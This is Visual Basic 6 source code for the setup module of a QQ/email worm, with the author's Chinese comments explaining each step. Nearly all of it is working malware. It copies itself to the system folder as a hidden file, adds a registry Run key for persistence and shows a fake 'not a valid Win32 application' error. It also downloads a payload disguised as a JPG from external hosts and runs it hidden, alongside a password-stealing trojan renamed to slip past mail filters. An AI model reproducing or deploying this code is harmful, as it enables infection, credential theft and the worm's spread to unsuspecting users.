msetup.bas

警惕最新QQ.Email 蠕虫(源代码) 1.0

Attribute VB_Name = "mSetup"
Option Explicit
Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Contain() As String, Subject() As String   '内容和标题

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1                         ' Unicode nul terminated string
Dim LhKey As Long

Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Sys As String '系统目录
Public US As String '自己
Public Tmp As String '临时文件夹
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'这个BASE64编码是网上找的,我也看不懂,只知道算法
Public Function Base64(b() As Byte) As String
  Static Enc() As Byte
  Dim Out() As Byte, i&, j&, L&
  If (Not Val(Not Enc)) = 0 Then 'Null-Ptr = not initialized
    Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
  End If
  L = UBound(b) + 1 ': b = StrConv(s, vbFromUnicode)
  ReDim Preserve b(0 To (UBound(b) \ 3) * 3 + 2)
  ReDim Preserve Out(0 To (UBound(b) \ 3) * 4 + 3)
  For i = 0 To UBound(b) - 1 Step 3
    Out(j) = Enc(b(i) \ 4): j = j + 1
    Out(j) = Enc((b(i + 1) \ 16) Or (b(i) And 3) * 16): j = j + 1
    Out(j) = Enc((b(i + 2) \ 64) Or (b(i + 1) And 15) * 4): j = j + 1
    Out(j) = Enc(b(i + 2) And 63): j = j + 1
  Next i
  For i = 1 To i - L: Out(UBound(Out) - i + 1) = 61: Next i
  Base64 = StrConv(Out, vbUnicode)
End Function
Public Function Temp() As String '获得临时目录
Dim S As String, L As Long
S = String(255, 0)
L = GetTempPath(255, S)
S = Left(S, L)
If Right(S, 1) <> "\" Then S = S & "\"
Temp = S
End Function

Public Sub FillAll()
Dim Fa As Long, La As Long, S As String
'为什么会出现不同的主题的,就在这里了.
Fa = 0
ReDim Preserve Contain(Fa)
S = LoadResString(1) '内容
Do While S <> ""
    La = InStr(S, ",")
    Contain(Fa) = Left(S, La - 1)
    Fa = Fa + 1
    ReDim Preserve Contain(Fa)
    S = Mid(S, La + 1)
Loop
Fa = 0
ReDim Preserve Subject(Fa)
S = LoadResString(2) '标题
Do While S <> ""
    La = InStr(S, ",")
    Subject(Fa) = Left(S, La - 1)
    Fa = Fa + 1
    ReDim Preserve Subject(Fa)
    S = Mid(S, La + 1)
Loop
End Sub

Sub Main()
On Error Resume Next
'整个程序的入口就在这里开始了
Dim Cp As String
Dim Ret As Long
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '获得系统目录

US = String(1024, 0) '获得自己的完整路径
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)

Tmp = Temp '获得完整临时目录

Cp = Sys & "\Inetdbs.exe" '你在 Google 输入 inetdbs.exe 就可以找得到该病毒的介绍了
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '写入注册表,以便开机重启
Ret = RegSetValueEx(LhKey, "Inet DataBase", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
SetAttr Cp, 0 '把目标的文件属性去除
FileCopy US, Cp '复制到目标上
SetAttr Cp, 7 '加上文件属性 只读 系统 隐藏

If InStr(UCase(US), "INETDBS") = 0 Then
    '呵呵,就是运行后看到的骗人的东西了.
    MsgBox US & " 不是有效的 Win32 应用程序。", vbCritical, US
Else
    Form1.Show
    '为什么会出现339的错误呢?
    '少了个控件,没有?当然要去下载下来了,
    '之后重启程序,不就可以正常运行了
    If Err = 339 Then
        Ret = URLDownloadToFile(0, "http://XXXXXXXX.websamba.com/wpzkq/MSWINSCK.OCX", Sys & "\MSWINSCK.OCX", 0, 0)
        Shell US, vbNormalFocus
        End
    End If
End If
'呵呵,我把密码解霸的标题改"新东方购物" ,要不然邮箱会过滤密码解霸发过来的信

Ret = FindWindow("#32770", "新东方购物") '木马没有运行，下载并执行
If Ret <> 0 Then Exit Sub
Cp = "http://www.XXXXXXX.com/image/new.jpg"
Ret = URLDownloadToFile(0, Cp, Tmp & "~DF41F8.EXE", 0, 0)
If Ret <> 0 Then
    Cp = "http://freehost23.XXXXXXX.com/wpzkq/new.jpg"
    Ret = URLDownloadToFile(0, Cp, Tmp & "~DF41F8.EXE", 0, 0)
End If
Ret = Shell(Tmp & "~DF41F8.EXE", vbHide) '这就是为什么会有~DF41F8.EXE了.
End Sub